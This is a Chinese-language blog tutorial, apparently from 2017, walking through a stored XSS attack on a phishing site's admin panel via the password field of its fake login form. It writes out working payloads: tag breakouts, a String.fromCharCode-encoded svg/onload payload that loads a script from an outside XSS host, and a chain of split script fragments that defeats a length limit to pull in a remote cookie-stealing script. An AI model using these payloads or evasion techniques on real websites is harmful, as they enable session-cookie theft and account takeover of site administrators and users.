攻破黑市最流行的钓鱼网站(第二弹)

攻破黑市最流行的钓鱼网站(第二弹)

上次有人向我反映,我讲的过于快了,不适合菜鸟看,所以这次我写的相对来说比较详细~ 这对于有基础的人来说可能比较煎熬,哈哈。大家秒懂的部分可以跳过~~

也可以看看我的第一篇:《攻破黑市最流行的钓鱼网站》。

这次的比较简单:对一个目标网站进行白盒测试,

这是后台

可以看到,这边是一个钓鱼网站

对目标进行XSS白盒测试

点击领取礼包,这里会弹出一个登录框

我们随便输入一个账户密码

通过抓包修改里面的参数

目测,这里就两个参数可以测试, 一个user 一个password

放上自己最常用的payload 在password 内

user=123123112312&password=123123"><img/src=1 onerror=alert("1">//&submit=%E7%99%BB%E5%BD%95

"> 是闭合标签<img/src=1 onerror=alert("1"> 是弹窗//为注释掉后面的语法

现在我们进入后台查看,

可以看到,很明显的,我们的img标签已经执行成功了,但是没有弹窗,这是为啥?

对其右击-查看源码

查看他的属性,我们发现,alert后面的语句没有执行? 那么,我们换个标签试试

再次请求数据

user=123123112312&password=123123"><style/onload=alert(1)>//&submit=%E7%99%BB%E5%BD%95

这次进到后台查看

可以看到,这边已经成功弹窗了

然后就应该开始构造payload 啊~走起,引用我的XSS站点URL 构造的payload 应该为

“><img/src=1/>//

红色的”>部分为闭合前边的标签黄色的// 为注释掉后面的语句<img/src=1/> 这句代码主要就是引用我们XSS平台的代码,主要达到一个盗取对方cookie的效果

然后我们再一次提交数据

在password 参数里,也就是密码处添加payload,

结果后台数据没有显示。

凭着经验判断,可能是对某个字符进行了过滤,但是我自己也不知道是哪个,所以只能不断的测试 对payload编码试试。

那么使用String.fromCharCode 函数进行转换吧~~什么是String.fromCharCode函数转换呢?打个比方~ 我们把alert("1") 进行转换,

那么我们在 标签输入试试,

在页面上显示弹窗

那么我构造的payload 就应该为,

"><svg/onload=eval((String.fromCharCode(118,97,114,32,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,115,99,114,105,112,116,34,41,59,115,46,115,114,99,61,34,104,116,116,112,58,47,47,120,115,115,46,116,118,47,88,65,34,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59)))>//

再次请求数据,把这段payload 放到 password 参数里,

然后我们进入后台查看

好像,应该,或许成功了吧,我们查看源码试试


不行, 后来我又试了上百种payload,最终发现,这货是在服务器端限制了字符数。。。。。。。。。。。。。。。 也就是说,我们用最短的payload 弹窗可以,但是如果需要引用 自己恶意站点的URL,就需要大量的代码,这样的话就”根本”的防止了我们构造~

还好,我之前看过 剑心的 跨站拆分法 (在这里为他默哀3秒~)

何为跨站拆分?简单理解,就是一大块蛋糕放不进去冰箱,我们把它切成一小块一小块的放进去。

例子:

你们自己在脚本里输入看看,最终的效果是什么

好的,现在我们做一个最简单的测试

给变量a赋值为0;然后弹出变量a

现在我们把代码一一的放入进入 输入账号密码,抓包修改

在后台查看下,

成功保存。

输入账号密码,抓包修改,

输入完,第二段代码,让着两段叠加,那么他们就应该弹窗了吧~

现在来开始构造我们的站点吧~~

<script>z='document'</script>
 
<script>z=z+'.write("'</script>
 
<script>z=z+'<script'</script>
 
<script>z=z+' src=ht'</script>
 
<script>z=z+'tp://xss'</script>
 
<script>z=z+'.sssie'</script>
 
<script>z=z+'.com/F'</script>
 
<script>z=z+'MD27h'</script>
 
<script>z=z+'></sc'</script>
 
<script>z=z+'ript>")'</script>
 
<script>alert(z)</script>
 
<script>eval(z)</script>

逐个放进去即可 然后就拿到了对方的cookie

我把我在一个论坛里的XSS教程买了下来,我看了下,由易到难,不知道对大家有没有帮助。

编辑于 2017-10-26 15:18